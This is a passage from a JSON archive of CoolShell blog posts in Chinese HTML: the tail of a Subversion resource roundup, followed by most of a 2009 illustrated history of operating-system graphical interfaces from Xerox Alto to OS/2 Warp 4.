style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png\"><img alt=\"subclipse\" class=\"size-medium wp-image-100 aligncenter\" height=\"168\" src=\"../wp-content/uploads/2009/03/subclipse-300x168.png\" title=\"subclipse\" width=\"300\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/subclipse.png\"></a></p>\n<ul>\n<li><a href=\"http://ankhsvn.open.collab.net/\">AnkhSVN</a>（Microsoft’s <a href=\"http://www.microsoft.com/visualstudio/en-us/default.mspx\">Visual Studio</a>）</li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/ankshsvn.png\"><img alt=\"ankshsvn\" class=\"size-medium wp-image-99 aligncenter\" height=\"236\" src=\"../wp-content/uploads/2009/03/ankshsvn-300x236.png\" title=\"ankshsvn\" width=\"300\"/></a></p>\n<ul>\n<li><a href=\"https://www.opends.org/wiki/page/ConfiguringSubversionToIgnoreIDEProjectFiles\">How to Ignore IDE Project Files in Subversion</a></li>\n</ul>\n<h2>SVN 浏览器</h2>\n<ul>\n<li><a href=\"http://trac.edgewall.org/\">Trac</a></li>\n<li><a href=\"http://warehouseapp.com/\">Warehouse</a></li>\n<li><a href=\"http://www.websvn.info/\">WebSVN</a></li>\n<li><a href=\"http://insurrection.tigris.org/\">Insurrection</a></li>\n<li><a href=\"http://www.polarion.org/index.php?page=overview&amp;project=svnwebclient\">Polarion WebClient for SVN</a></li>\n</ul>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg\"><img alt=\"warehouse2\" class=\"size-medium wp-image-101 aligncenter\" height=\"240\" src=\"../wp-content/uploads/2009/03/warehouse2-300x240.jpg\" title=\"warehouse2\" width=\"300\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/warehouse2.jpg\"></a></p>\n<h2>SVN主机</h2>\n<ul>\n<li><a href=\"http://code.google.com/\">Google Code</a></li>\n<li><a href=\"http://cvsdude.com/\">CVSDude</a> （$5.99 /月）</li>\n<li><a href=\"http://www.beanstalkapp.com/\">Beanstalk</a>（$15/月 ）</li>\n<li><a href=\"http://unfuddle.com/\">Unfuddle</a>（$9/月）</li>\n<li><a href=\"http://www.assembla.com/\">Assembla</a>（$2/月）</li>\n</ul>\n<h2>Subversion社区</h2>\n<ul>\n<li><a href=\"http://svnforum.org/\">SVNForum</a></li>\n<li><a href=\"http://open.collab.net/\">openCollabNet</a></li>\n</ul>\n<h2>Subversion图书</h2>\n<ul>\n<li><a href=\"http://www.manning.com/machols/\">Subversion in Action</a></li>\n<li><a href=\"http://www.apress.com/book/view/1590597532\">Practical Subversion</a></li>\n<li><a href=\"http://www.pragprog.com/titles/svn2/pragmatic-version-control-using-subversion\">Pragmatic Version Control Using Subversion</a></li>\n<li><a href=\"http://www.amazon.com/Subversion-Version-Control-Development-Projects/dp/0131855182/ref=pd_sim_b_15\">Subversion Version Control: Using the Subversion Version Control System in Development Projects</a></li>\n</ul>\n<h2>Subversion 相关文章</h2>\n<ul>\n<li><a href=\"http://athleticsnyc.com/blog/entry/on-using-subversion-for-web-projects\">Subversion for Web Projects</a></li>\n<li><a href=\"http://www.macdevcenter.com/pub/a/mac/2004/08/10/subversion.html\">Making the Jump to SVN</a></li>\n<li><a href=\"http://www.onlamp.com/pub/a/onlamp/2005/01/06/svn_homedir.html\">Keeping Your Life in Subversion</a></li>\n<li><a href=\"http://lifehacker.com/software/subversion/hack-attack-how-to-set-up-a-personal-home-subversion-server-188582.php\">How to Set Up a Personal Home Subversion Server</a></li>\n<li><a href=\"http://www.howtoforge.com/debian_subversion_websvn\">How to Set Up Subversion and websvn on Debian</a></li>\n<li><a href=\"https://www.opends.org/wiki/page/MirroringASubversionRepository\">Mirroring a Subversion Repository</a></li>\n<li><a href=\"https://www.opends.org/wiki/page/ConfiguringSubversionToUseAProxyServer\">Configuring Subversion to Use a Proxy Server</a></li>\n<li><a href=\"http://blog.fallingsnow.net/2007/08/17/maintaining-an-svn-mirror-directly-from-git/\">Maintaining an SVN Mirror Directly from Git</a> </li>\n<li><a href=\"http://www.onlamp.com/pub/a/onlamp/2004/08/19/subversiontips.html\">Top 10 Subversion Tips for CVS Users</a></li>\n<li><a href=\"http://www.collab.net/community/subversion/articles/merge-info.html\">Mergeinfo – Understanding the Internals</a></li>\n</ul>\n<p>文章：<a href=\"http://www.smashingmagazine.com/2009/03/10/ultimate-round-up-for-version-control-with-subversion/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3288.html\"><img alt=\"版本管理器的发展史\" height=\"150\" src=\"../wp-content/uploads/2010/11/scmhistory-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7755.html\"><img alt=\"Git显示漂亮日志的小技巧\" height=\"150\" src=\"../wp-content/uploads/2012/06/git.log_.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2492.html\"><img alt=\"WTF Javascript\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2492.html\">WTF Javascript</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/428.html\"><img alt=\"程序员需要具备的基本技能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4811.html\"><img alt=\"软件真的好难做啊\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4811.html\">软件真的好难做啊</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/93.html\">版本控制Subversion相关资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-12 操作系统图形界面发展史(1981-2009).html",
    "content": "<html><body><p> </p>\n<p style=\"TEXT-ALIGN: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif\"><img alt=\"19-windows-3\" class=\"alignright size-thumbnail wp-image-124\" height=\"150\" src=\"../wp-content/uploads/2009/03/19-windows-3-150x150.gif\" title=\"19-windows-3\" width=\"150\"/></a>注意，本文这罗列了从1981年以来有重大意义的操作系统的图形界面。</p>\n<p><strong>首先，先介绍两个网站：</strong></p>\n<ul>\n<li><a href=\"http://www.guidebookgallery.org/\"><strong>http://www.guidebookgallery.org/</strong></a> 如果你比较关注图形化UI的设计， 可以上这个网站上看看。</li>\n<li><a href=\"http://toastytech.com/guis/index.html\"><strong>http://toastytech.com/guis/index.html</strong></a> 这是一个操作系统图形界面收集的网站，上面几科包括了所有的操作系统图形界面。</li>\n</ul>\n<p> </p>\n<p><span id=\"more-105\"></span></p>\n<p> 下面，让我们先来看看PC机上的第一个图形界面——<a href=\"http://en.wikipedia.org/wiki/Xerox_Alto\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Xerox Alto</span></strong></a>(该系统并未商用，主要用于研究和大学)，其于1973年被施乐公司<a href=\"http://en.wikipedia.org/wiki/Xerox_PARC\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Xerox Palo Alto Research Center (PARC)</span></strong></a>所设计，从此，开启了计算机图形界面的新纪元，80年代以来，操作系统的界面设计经历了众多变迁，OS/2, Macintosh, Windows, Linux, Symbian OS ，各种操作系统将 GUI 设计带进新的时代。下面是其图片（70年代的东西看起来还不错哦）</p>\n<p style=\"TEXT-ALIGN: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/01.gif\"><img alt=\"01\" height=\"674\" src=\"../wp-content/uploads/2009/03/01.gif\" title=\"01\" width=\"463\"/></a><br/>\n<em><span style=\"font-family: Tahoma;\">Source: </span></em><a href=\"http://toastytech.com/guis/altoboot1.gif\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p> </p>\n<h2>1981-1985</h2>\n<h2><strong>Xerox 8010 Star</strong> (released in 1981)</h2>\n<p>这是第一个完整地集成了桌面和应用程序以及图形界面的操作系统，人们一开始叫它“<em>Xerox Star</em>”，然后又叫“<em>ViewPoint</em>”，再以后又叫作“<em><span style=\"font-family: Tahoma;\">GlobalView</span></em>”。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star.gif\"><img alt=\"02-xerox-8010-star\" class=\"size-full wp-image-107 aligncenter\" height=\"486\" src=\"../wp-content/uploads/2009/03/02-xerox-8010-star.gif\" title=\"02-xerox-8010-star\" width=\"615\"/></a>Xerox 8010 Star, Source: </span></em><a href=\"http://toastytech.com/guis/starbitmap2.gif\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p> </p>\n<h2><strong>Apple Lisa Office System 1 (released in 1983)</strong></h2>\n<p>这个操作系统也叫Lisa OS，这里的OS是Office System的缩写。它由Apple公司开发主要目的用于文档处理工作站。不幸的是，这款机器的寿命并不长，最终这个工作站被更便宜的Apple的Macintosh操作系统所取代。Lisa OS 几个升级包括 1983年的 Lisa OS2, 1984年的 Lisa OS 7/7 3.1。下面是其操作系统截图。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><img alt=\"03-apple-lisa-1\" class=\"size-full wp-image-108 aligncenter\" height=\"311\" src=\"../wp-content/uploads/2009/03/03-apple-lisa-1.gif\" title=\"03-apple-lisa-1\" width=\"615\"/>Apple Lisa OS 1, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/lisaos10\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">GUIdebook</span></em></strong></a></p>\n<h2><strong>VisiCorp Visi On (released in 1984)</strong></h2>\n<p>下面是IBM PC上的第一个图形界面的操作系统，叫Visi，其主要是给大公司用的，当然其价格也是非常高昂的。这个图形界面使用了鼠标，内置的安装程序以及帮助文档，但没有使用icon。下面是截图。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/05-visi-on.gif\"><img alt=\"05-visi-on\" class=\"size-full wp-image-110 aligncenter\" height=\"384\" src=\"../wp-content/uploads/2009/03/05-visi-on.gif\" title=\"05-visi-on\" width=\"615\"/></a><br/>\n<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/06-visi-on.jpg\"><img alt=\"06-visi-on\" class=\"size-full wp-image-111 aligncenter\" height=\"384\" src=\"../wp-content/uploads/2009/03/06-visi-on.jpg\" title=\"06-visi-on\" width=\"615\"/></a><br/>\nVisiCoprt Visi On, Source: </span></em><a href=\"http://toastytech.com/guis/vision3.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Mac OS System 1.0 (released in 1984)</strong></h2>\n<p>Mac OS System 1.0是第一个划时代的图形界面，因为它其中的很多技术到今天还在使用。比如，基于窗口用图标的UI，窗口可以被鼠标移动，可以使用鼠标拖动文件和目录以完成文件的copy和move。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/07-mac-os-1.gif\"><img alt=\"07-mac-os-1\" class=\"size-full wp-image-112 aligncenter\" height=\"342\" src=\"../wp-content/uploads/2009/03/07-mac-os-1.gif\" title=\"07-mac-os-1\" width=\"512\"/></a><br/>\nApple Mac System 1.0, Source: </span></em><a href=\"http://toastytech.com/guis/macos1.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Amiga Workbench 1.0 (released in 1985)</strong></h2>\n<p>Amiga在第一次release出来是超前的，它支持背景色的更换四色:黑，白，蓝，橙），原始的多任务处理，还有立体声，以及多状态的图标（选中和未选中）</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/09-amiga-workbench-10.gif\"><img alt=\"09-amiga-workbench-10\" class=\"size-full wp-image-114 aligncenter\" height=\"384\" src=\"../wp-content/uploads/2009/03/09-amiga-workbench-10.gif\" title=\"09-amiga-workbench-10\" width=\"615\"/></a><br/>\nAmiga Workbench 1.0, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/amigaos10\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">GUIdebook</span></em></strong></a></p>\n<h2><strong>Windows 1.0x (released in 1985)</strong></h2>\n<p><span style=\"font-family: Tahoma;\">微软作为一个图形界面的狂热者，在图形界面上的有着执着的热情，1985年，微软终于在图形用户界面大潮中占据了一席之地，Windows 1.0 是其第一款基于 GUI 的操作系统 。使用了 32×32 像素的图标以及彩色图形，其最有趣的功能是模拟时钟动画图标。</span></p>\n<div style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/10-windows-1.gif\"><img alt=\"10-windows-1\" class=\"size-full wp-image-115 aligncenter\" height=\"336\" src=\"../wp-content/uploads/2009/03/10-windows-1.gif\" title=\"10-windows-1\" width=\"615\"/></a>Microsoft Windows 1.01, Source: <a href=\"http://www.makowski-berlin.de/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">makowski-berlin.de</span></em></strong></a></span></em></div>\n<p> </p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/11-windows-11.gif\"><img alt=\"11-windows-11\" class=\"size-full wp-image-116 aligncenter\" height=\"336\" src=\"../wp-content/uploads/2009/03/11-windows-11.gif\" title=\"11-windows-11\" width=\"615\"/></a><br/>\nMicrosoft Windows 1.01, Source: <a href=\"http://www.makowski-berlin.de/\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">makowski-berlin.de</span></em></strong></a></p>\n<p><em></em> </p>\n<h2>1986 – 1990</h2>\n<h2><strong>IRIX 3 (released in 1986, first release 1984)</strong></h2>\n<p>64位的IRIX操作系统源自UNIX。它的一个有趣功能是支持矢量图标，这个功能远在 Max OS X 面世前就出现了。下面是截图（看起来，比Windows成熟了太多了）</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/12-irix-3.jpg\"><img alt=\"12-irix-3\" class=\"size-full wp-image-117 aligncenter\" height=\"394\" src=\"../wp-content/uploads/2009/03/12-irix-3.jpg\" title=\"12-irix-3\" width=\"615\"/></a><br/>\nSilicon Graphics IRIX 3.0, Source: </span></em><a href=\"http://www.osnews.com/story/1859/SGI_SPECIAL:_Introducing_the_Jewel_of_UNIX_the_64-bit_IRIX_OS\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">osnews.com</span></em></strong></a></p>\n<h2><strong>Windows 2.0x (released in 1987)</strong></h2>\n<p>Windows在这个版本有重大的改进。比如窗口可以重叠，可以改变大小，可以最大化和最小化。下面是截图。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/13-windows-2.gif\"><img alt=\"13-windows-2\" class=\"size-full wp-image-118 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/13-windows-2.gif\" title=\"13-windows-2\" width=\"615\"/></a></span></em></p>\n<p style=\"TEXT-ALIGN: left;\"> </p>\n<div style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\">Microsoft Windows 2.03, Source: <a href=\"http://www.guidebookgallery.org/screenshots/win203\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/14-windows-21.gif\"><img alt=\"14-windows-21\" class=\"size-full wp-image-119 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/14-windows-21.gif\" title=\"14-windows-21\" width=\"615\"/></a><br/>\nMicrosoft Windows 2.03, Source: <a href=\"http://www.guidebookgallery.org/screenshots/win203\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<p><em></em> </p>\n<h2><strong>OS/2 1.x (released in 1988)</strong></h2>\n<p>OS/2 版本1.x本来是IBM和Microsoft一起开发的，但是1991年两个公司分道扬镳，微软做自己的windows去了，而IBM继续OS/2的开发，这个操作系统的GUI又被叫作“Presentation Manager”，这个版本的OS/2只支持很单一的色调和不能移动的图标。</p>\n<p style=\"TEXT-ALIGN: center;\"> </p>\n<div style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/15-os-2-1.gif\"><img alt=\"15-os-2-1\" class=\"size-full wp-image-120 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/15-os-2-1.gif\" title=\"15-os-2-1\" width=\"615\"/></a><br/>\nMicrosoft-IBM OS/2 1.1, Source: <a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/16-os-2-11.gif\"><img alt=\"16-os-2-11\" class=\"size-full wp-image-121 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/16-os-2-11.gif\" title=\"16-os-2-11\" width=\"615\"/></a><br/>\nMicrosoft-IBM OS/2 1.1, Source: <a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></p>\n<p> </p>\n<h2><strong>NeXTSTEP / OPENSTEP 1.0 (released in 1989)</strong></h2>\n<p> Steve Jobs 想给大学或研究实验室做一个完美的Research电脑，于是这个想法促成了NeXT Computer Inc.在1989年的时候release了 NeXTSTEP 1.0 GUI，在后来它被改名为：OPENSTEP。</p>\n<p>该 GUI 的图标很大，48×48像素，包含更多颜色，一开始是单色的，从1.0开始支持彩色，下图中已经可以看到现代 GUI 的影子。</p>\n<p>下面是截屏： </p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/17-nextstep-1.jpg\"><img alt=\"17-nextstep-1\" class=\"size-full wp-image-122 aligncenter\" height=\"463\" src=\"../wp-content/uploads/2009/03/17-nextstep-1.jpg\" title=\"17-nextstep-1\" width=\"615\"/></a><br/>\nNeXTSTEP 1.0, Source: </span></em><a href=\"http://www.kernelthread.com/publications/appleoshistory/7.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">kernelthread.com</span></em></strong></a></p>\n<h2><strong>OS/2 1.20 (released in 1989)</strong></h2>\n<p>接下来，OS/2升级成了1.20，我们可以看到，图标和窗口变得好看了许多，图标看上去更好看，窗体也显得更平滑。（是不是很像Windows 3.2?）</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/18-os-2-12.gif\"><img alt=\"18-os-2-12\" class=\"size-full wp-image-123 aligncenter\" height=\"480\" src=\"../wp-content/uploads/2009/03/18-os-2-12.gif\" title=\"18-os-2-12\" width=\"615\"/></a>OS/2 1.2, Source </span></em><a href=\"http://pages.prodigy.net/michaln/history/os211/index.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">pages.prodigy.net</span></em></strong></a></p>\n<h2><strong>Windows 3.0 (released in 1990)</strong></h2>\n<p>自从微软和IBM分开后，微软就意识到图形界面对用户的体验会是一个很不错东西，于是他们开始了有意义的改进。操作系统支持386 扩展模式，也就是说可以使用除了640K更多的内存和硬盘空间。并且有能力有更好的显示，如Super VGA 800×600 和 1024×768.</p>\n<p>此时，Microsoft 雇佣了 <a href=\"http://en.wikipedia.org/wiki/Susan_Kare\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Susan Kare</span></strong></a> ，她设计了Windows 3.0 的图标并统一了图形界面的风格。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif\"><img alt=\"19-windows-3\" class=\"size-full wp-image-124 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/19-windows-3.gif\" title=\"19-windows-3\" width=\"615\"/></a><br/>\nMicrosoft Windows 3.0, Source: </span></em><a href=\"http://toastytech.com/guis/win30.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/20-windows-31.gif\"><img alt=\"20-windows-31\" class=\"size-full wp-image-125 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/20-windows-31.gif\" title=\"20-windows-31\" width=\"615\"/></a><br/>\nMicrosoft Windows 3.0, Source: </span></em><a href=\"http://toastytech.com/guis/win30.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2>1991 – 1995</h2>\n<h2><strong>Amiga Workbench 2.04 (released in 1991)</strong></h2>\n<p>看来，Amiga Workbench有了很多的改进，该版 GUI 包含很多改进，桌面可以垂直分割成不同分辨率和颜色深度，在现在看来似乎有些奇怪。默认的分辨率是 640×256，不过硬件支持更高的分辨率。但感觉还是土了点。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/21-amiga-workbench-2.gif\"><img alt=\"21-amiga-workbench-2\" class=\"size-full wp-image-126 aligncenter\" height=\"492\" src=\"../wp-content/uploads/2009/03/21-amiga-workbench-2.gif\" title=\"21-amiga-workbench-2\" width=\"615\"/></a><br/>\nCommodore Amiga Workbench 2.04, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/amigaos204\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<p> </p>\n<h2><strong>Mac OS System 7 (released in 1991)</strong></h2>\n<p>Mac OS version 7.0 是第一个支持彩色Mac OS GUI ，还有阴影。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/22-macos-7.jpg\"><img alt=\"22-macos-7\" class=\"size-full wp-image-127 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/22-macos-7.jpg\" title=\"22-macos-7\" width=\"615\"/></a><br/>\nApple Mac OS System 7.0, Source: </span></em><a href=\"http://www.guidebookgallery.org/screenshots/macos70\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">guidebookgallery.org</span></em></strong></a></p>\n<h2>Windows 3.1 (released in 1992)</h2>\n<p>这个版本的 Windows 引入了TrueType 字体，第一次使 Windows 成为可以用于印刷的系统。整个界面有非常大的改善，Windows 3.0 中，只能通过 Adobe 字体管理器（ATM）实现该功能。该版本同时包含一个叫做 Hotdog Stand 的配色主题。并且配色还能够照顾有色盲症的人。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/24-windows_311_workspace.png\"><img alt=\"24-windows_311_workspace\" class=\"size-full wp-image-129 aligncenter\" height=\"480\" src=\"../wp-content/uploads/2009/03/24-windows_311_workspace.png\" title=\"24-windows_311_workspace\" width=\"640\"/></a><br/>\nSource: </span></em><a href=\"http://en.wikipedia.org/wiki/Windows_3.1x\" rel=\"nofollow\" target=\"_blank\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">Wikipedia</span></em></strong></a></p>\n<h2>OS/2 2.0 (released in 1992)</h2>\n<p>这是第一个被提交到互联网上接受可用性与可访问性测试的GUI，整个GUI使用了面向对象的方法设计，每个文件和文件夹都是一个对象，可以同别的文件，文件夹与应用程序关联。它同时支持拖放式操作以及模板功能。看上去已是很不错了。</p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/25-os-2-2.gif\"><img alt=\"25-os-2-2\" class=\"size-full wp-image-130 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/25-os-2-2.gif\" title=\"25-os-2-2\" width=\"615\"/></a></span></em></p>\n<p style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/26-os-2-21.gif\"><img alt=\"26-os-2-21\" class=\"size-full wp-image-131 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/26-os-2-21.gif\" title=\"26-os-2-21\" width=\"615\"/></a><br/>\nIBM OS/2 2.0, Source: </span></em><a href=\"http://toastytech.com/guis/os220.html\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<h2><strong>Windows 95 (released in 1995)</strong></h2>\n<p>Windows 3.x 之后，微软对整个GUI被完全重新设计，这是第一个在每个窗口上加上了关闭按钮的GUI。设计团队让图标有了几个状态 (enabled, disabled, selected, checked, etc.) 这也是最著名的“开始”按钮第一次出现的时候。<span style=\"font-family: Tahoma;\">这是Microsoft历史上最大的一步，从此走上了帝国之路。</span></p>\n<p style=\"TEXT-ALIGN: left;\"><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/27-windows-951.gif\"><img alt=\"27-windows-951\" class=\"size-full wp-image-132 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/27-windows-951.gif\" title=\"27-windows-951\" width=\"615\"/></a></em></p>\n<p style=\"TEXT-ALIGN: left;\"><em><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/28-windows-95.gif\"><img alt=\"28-windows-95\" class=\"size-full wp-image-133 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/28-windows-95.gif\" title=\"28-windows-95\" width=\"615\"/></a><br/>\nMicrosoft Windows 95, Source: </em><a href=\"http://www.guidebookgallery.org/screenshots/win95\"><em>guidebookgallery.org</em></a></p>\n<h2>1996 – 2000</h2>\n<h2><strong>OS/2 Warp 4 (released in 1996)</strong></h2>\n<p><span style=\"font-family: Tahoma;\"></span></p>\n<p>IBM 终于争气地推出了 OS/2 Warp 4。桌面上可以放置图标，也可以自己创建文件和文件夹，并推出一个类似 Windows 回收站和 Mac 垃圾箱的文件销毁器，不过一旦放进去进不能再恢复。各个操作系统的图形界面开始越来越相似了。都是icons，窗口，垃圾回收站，等等，大同小异了。</p>\n<p> </p>\n<p> </p>\n<div style=\"TEXT-ALIGN: left;\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/29-os-2-warp-4.jpg\"><img alt=\"29-os-2-warp-4\" class=\"size-full wp-image-134 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/29-os-2-warp-4.jpg\" title=\"29-os-2-warp-4\" width=\"615\"/></a><em></em></span></em></div>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/03/30-os-2-warp-41.jpg\"><img alt=\"30-os-2-warp-41\" class=\"size-full wp-image-135 aligncenter\" height=\"461\" src=\"../wp-content/uploads/2009/03/30-os-2-warp-41.jpg\" title=\"30-os-2-warp-41\" 